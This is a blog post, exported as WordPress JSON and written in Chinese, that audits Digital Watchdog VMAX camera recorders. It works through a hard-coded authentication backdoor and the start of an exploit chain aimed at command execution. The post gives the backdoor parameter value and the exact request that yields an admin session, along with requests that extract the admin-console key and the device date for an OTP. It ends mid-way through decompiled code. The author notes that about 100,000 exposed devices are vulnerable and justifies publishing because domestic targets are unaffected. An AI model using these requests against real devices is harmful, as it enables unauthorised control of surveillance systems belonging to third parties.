{"id":281,"date":"2026-05-07T23:53:46","date_gmt":"2026-05-07T15:53:46","guid":{"rendered":"https:\/\/zhihao.org.cn\/?p=281"},"modified":"2026-05-07T23:53:49","modified_gmt":"2026-05-07T15:53:49","slug":"digital-watchdog-vmax-ip-plus-%e6%91%84%e5%83%8f%e5%a4%b4%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%e5%ae%a1%e8%ae%a1%e8%bf%87%e7%a8%8b","status":"publish","type":"post","link":"https:\/\/zhihao.org.cn\/?p=281","title":{"rendered":"Digital Watchdog VMAX IP Plus \u6444\u50cf\u5934\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u5ba1\u8ba1\u8fc7\u7a0b"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\" id=\"ufecff50d\">\u5f88\u4e45\u6ca1\u6709\u66f4\u65b0\u6587\u7ae0\u4e86\uff0c\u53d1\u4e00\u7bc7\u5e93\u5b58\uff0c\u5206\u4eab\u4e00\u4e0b\u5ba1\u8ba1\u8fc7\u7a0b\u548c\u601d\u8def\uff0c\u5927\u5bb6\u53ef\u4ee5\u4e00\u8d77\u5b66\u4e60<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4e2a\u8bbe\u5907\u7684\u6f0f\u6d1e\u5168\u7f51\u5927\u698210w\u4e2a\u76ee\u6807\u5427\uff0c\u5b58\u5728\u6f0f\u6d1e\u7684\u5360\u5927\u591a\u6570\uff0c\u4e0d\u8fc7\u6ca1\u6709\u5f71\u54cd\u5230\u56fd\u5185\u7684\u8d44\u4ea7\uff0c\u6240\u4ee5\u6bd4\u8f83\u9002\u5408\u53d1\u51fa\u6765<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"uf076ef3c\">\u76ee\u6807\u6982\u51b5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"ude96a14f\">\u8bbe\u5907: Digital Watchdog NVR\/DVR (DW VMAX A1 Plus \u7cfb\u5217)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u8cb20bc0\">\u82af\u7247: \u6d77\u601d Hi3536 (ARMv7l)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"uf85b244e\">\u5185\u6838: Linux 3.18.20 \/ 3.10.0_hi3536<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u5418c50d\">Web Server: lighttpd\/1.4.54<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u0858a16c\">CGI \u6846\u67b6: \u81ea\u7814 libcgi.so + libcgi_common.so (uClibc \u52a8\u6001\u94fe\u63a5)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"ub34a55c8\">\u8ba4\u8bc1: \u81ea\u7814 session \u673a\u5236 (CGISID cookie + \u5171\u4eab\u5185\u5b58)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"ueec726e3\">\u9996\u5148\u770b\u5230 libcgi_common.so \u7684 check_login_param<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-1024x573.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"573\" data-attachment-id=\"282\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=282\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image.png\" data-orig-size=\"1920,1075\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-300x168.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-1024x573.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-1024x573.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-282\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"ueec726e3\"><\/p>\n\n\n\n<pre id=\"Gl9Q8\" class=\"wp-block-code\"><code>int __fastcall check_login_param(int a1, int a2)\n{\n    char s&#91;256];\n    memset(s, 0, sizeof(s));\n    s1 = (char *)cgi_param(\"_f_auth\");\n    if ( s1 )\n    {\n        if ( !strcmp(s1, \"__jake924__\") )     \/\/ \u2190 \u786c\u7f16\u7801\u540e\u95e8\n            return sub_3310(a1, -1, 0);      \/\/ \u2190 \u6ce8\u518c admin session\n        return 0;\n    }\n\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u2c6c9048\">\u518d\u770bsub_3310\u51fd\u6570 (session \u6ce8\u518c):<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"715\" height=\"641\" data-attachment-id=\"283\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=283\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-1.png\" data-orig-size=\"715,641\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-1-300x269.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-1.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-283\"  sizes=\"auto, (max-width: 715px) 100vw, 715px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"639\" height=\"645\" data-attachment-id=\"284\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=284\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-2.png\" data-orig-size=\"639,645\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-2-297x300.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-2.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-284\"  sizes=\"auto, (max-width: 639px) 100vw, 639px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"716\" height=\"559\" data-attachment-id=\"285\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=285\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-3.png\" data-orig-size=\"716,559\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-3-300x234.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-3.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-285\"  sizes=\"auto, (max-width: 716px) 100vw, 716px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u430b4fd3\">libcgi_common.so \u7684 check_login_param() \u51fd\u6570\u4e2d\u5b58\u5728\u786c\u7f16\u7801\u540e\u95e8\u3002\u5f53 CGI \u53c2\u6570 _f_auth \u7b49\u4e8e jake924\u65f6\uff0c\u76f4\u63a5\u8df3\u8fc7\u8ba4\u8bc1\uff0c\u6ce8\u518c\u7ba1\u7406\u5458 session\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u887eeb60\">\u53d7\u5f71\u54cd CGI (\u5bfc\u5165\u4e86 check_login_param):<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u59631485\">\/cgi-bin\/setup.cgi<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u6dbadd6f\">\/cgi-bin\/getParam.cgi<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"udeeb0c74\">\/cgi-bin\/update_save.cgi<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u761838a7\">\/cgi-bin\/live_monitoring.cgi<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u06ca613f\">\/cgi-bin\/vod_playback.cgi<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u9e60c97e\">\u8bf7\u6c42\u5305<\/p>\n\n\n\n<pre id=\"vkMTm\" class=\"wp-block-code\"><code>GET \/cgi-bin\/setup.cgi?_f_auth=__jake924__ HTTP\/1.1<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u444b4f57\">\u9a8c\u8bc1\u540e\u95e8\u751f\u6548: \u65e0\u540e\u95e8\u65f6\u54cd\u5e94 143B (\u91cd\u5b9a\u5411\/\u7a7a\u9875\u9762)\uff0c\u6709\u540e\u95e8\u65f6\u54cd\u5e94 17276B (\u5b8c\u6574\u7ba1\u7406\u9875\u9762)\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-4-1024x558.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"558\" data-attachment-id=\"286\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=286\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-4.png\" data-orig-size=\"1530,834\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-4-300x164.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-4-1024x558.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-4-1024x558.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-286\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"ue12c7d11\">\u83b7\u53d6 Admin Console KEY<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u4738781f\"><strong>\u539f\u7406<\/strong>: admin_console.cgi \u9875\u9762\u5728 HTML \u6e90\u7801\u4e2d\u4ee5 readonly input \u660e\u6587\u663e\u793a KEY \u503c\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u9a805b95\"><strong>\u8bf7\u6c42<\/strong> (\u643a\u5e26 Step 1 \u7684 session cookie):<\/p>\n\n\n\n<pre id=\"wvIpB\" class=\"wp-block-code\"><code>GET \/cgi-bin\/admin_console.cgi HTTP\/1.1\nHost: \nCookie: CGISID=flnT1F2oJiXAER6xohFspAGQPErefP7uatea17qBpmd5c<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-5-1024x537.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"537\" data-attachment-id=\"287\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=287\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-5.png\" data-orig-size=\"1515,794\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-5-300x157.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-5-1024x537.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-5-1024x537.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-287\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"uc3949cbf\"><strong>\u54cd\u5e94\u5173\u952e\u884c<\/strong>:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"ucd65eada\">&lt;input id=&#8221;key&#8221; type=&#8221;text&#8221; style=&#8221;width: 200px&#8221; value=&#8221;117CD709-D8654A1A&#8221; readonly\/&gt;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"uc1297b2e\"><strong>\u63d0\u53d6 KEY<\/strong>: 117CD709-D8654A1A<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u8267149b\">KEY \u6765\u6e90: \u5b58\u50a8\u5728 \/tmp\/_admin_console.key \u6587\u4ef6\u4e2d\uff0c\u7531\u8bbe\u5907\u9996\u6b21\u542f\u52a8\u65f6\u968f\u673a\u751f\u6210\uff0c\u683c\u5f0f\u4e3a XXXXXXXX-XXXXXXXX (\u5341\u516d\u8fdb\u5236)\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"uc3ff54fa\">\u83b7\u53d6\u8bbe\u5907\u65e5\u671f<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u63a03d2e\"><strong>\u539f\u7406<\/strong>: OTP \u4ee5\u8bbe\u5907\u5f53\u524d\u65e5\u671f\u4e3a\u79cd\u5b50\u4e4b\u4e00\u3002\u9700\u8981\u8bfb\u53d6\u8bbe\u5907\u65f6\u95f4\u800c\u975e\u653b\u51fb\u673a\u65f6\u95f4\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-6-1024x557.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"557\" data-attachment-id=\"288\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=288\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-6.png\" data-orig-size=\"1525,829\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-6-300x163.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-6-1024x557.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-6-1024x557.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-288\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u3c995348\"><strong>\u8bf7\u6c42<\/strong>:<\/p>\n\n\n\n<pre id=\"Iwi4u\" class=\"wp-block-code\"><code>GET \/cgi-bin\/setup_system_information.cgi HTTP\/1.1\nHost: &lt;target&gt;\nCookie: CGISID=flnT1F2oJiXAER6xohFspAGQPErefP7uatea17qBpmd5c<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"ub00b7a28\"><strong>\u54cd\u5e94<\/strong>:<\/p>\n\n\n\n<pre id=\"dqAOB\" class=\"wp-block-code\"><code>var cur_year = \"2026\";\nvar cur_month = \"3\";    \/\/ JavaScript 0-based: 0=Jan, 3=Apr\nvar cur_day = \"16\";\nvar cur_hour = \"0\";\nvar cur_min = \"33\";<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u51339022\">\u65e5\u671f\u8f6c\u6362: JavaScript month \u662f 0-based, \u9700\u8981 +1:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"ub985e541\">cur_month=3 \u2192 \u5b9e\u9645\u6708\u4efd = 4 (April)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u83b493ac\">\u683c\u5f0f\u5316: 04\/16\/2026<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u1f966b9d\">\u8ba1\u7b97 OTP<\/p>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"ude18c746\">\u7b97\u6cd5\u9006\u5411 (IDA \u53cd\u7f16\u8bd1 admin_console_core.cgi sub_10990):<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-7-1024x461.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"461\" data-attachment-id=\"289\" data-permalink=\"https:\/\/zhihao.org.cn\/?attachment_id=289\" data-orig-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-7.png\" data-orig-size=\"1920,864\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-7-300x135.png\" data-large-file=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-7-1024x461.png\" data-original=\"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/05\/image-7-1024x461.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-289\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre id=\"kk5Z1\" class=\"wp-block-code\"><code>int sub_10990()\n{\n  int v0; \/\/ r0\n  int v1; \/\/ r0\n  int v2; \/\/ r0\n  const char *v3; \/\/ r6\n  int v4; \/\/ r0\n  bool v5; \/\/ zf\n  const char *v6; \/\/ r5\n  const char *v7; \/\/ r1\n  FILE *v8; \/\/ r0\n  FILE *v9; \/\/ r4\n  __time_t tv_sec; \/\/ r7\n  int v11; \/\/ r0\n  size_t v12; \/\/ r0\n  const char *v13; \/\/ r1\n  int v14; \/\/ r2\n  int v15; \/\/ r0\n  int v16; \/\/ r12\n  char *v17; \/\/ r3\n  unsigned int v18; \/\/ lr\n  _BOOL4 v19; \/\/ lr\n  const char *v20; \/\/ r0\n  const char *v21; \/\/ r0\n  const char *v22; \/\/ r4\n  size_t v23; \/\/ r0\n  FILE *v24; \/\/ r0\n  FILE *v25; \/\/ r4\n  int v26; \/\/ r0\n  time_t timer; \/\/ &#91;sp+Ch] &#91;bp-248h] BYREF\n  __int64 v29; \/\/ &#91;sp+10h] &#91;bp-244h] BYREF\n  _DWORD v30&#91;4]; \/\/ &#91;sp+1Ch] &#91;bp-238h] BYREF\n  char v31&#91;32]; \/\/ &#91;sp+2Ch] &#91;bp-228h] BYREF\n  struct tm tp; \/\/ &#91;sp+4Ch] &#91;bp-208h] BYREF\n  char s&#91;64]; \/\/ &#91;sp+78h] &#91;bp-1DCh] BYREF\n  char s2&#91;4]; \/\/ &#91;sp+B8h] &#91;bp-19Ch] BYREF\n  _BYTE v35&#91;60]; \/\/ &#91;sp+BCh] &#91;bp-198h] BYREF\n  double v36&#91;9]; \/\/ &#91;sp+F8h] &#91;bp-15Ch] BYREF\n  int v37; \/\/ &#91;sp+140h] &#91;bp-114h]\n  int v38; \/\/ &#91;sp+144h] &#91;bp-110h]\n  int v39; \/\/ &#91;sp+148h] &#91;bp-10Ch]\n  int v40; \/\/ &#91;sp+14Ch] &#91;bp-108h]\n  struct timeval tv; \/\/ &#91;sp+150h] &#91;bp-104h] BYREF\n\n  v0 = cgi_init();\n  v1 = cgi_session_start(v0);\n  v2 = cgi_process_form(v1);\n  cgi_init_headers(v2);\n  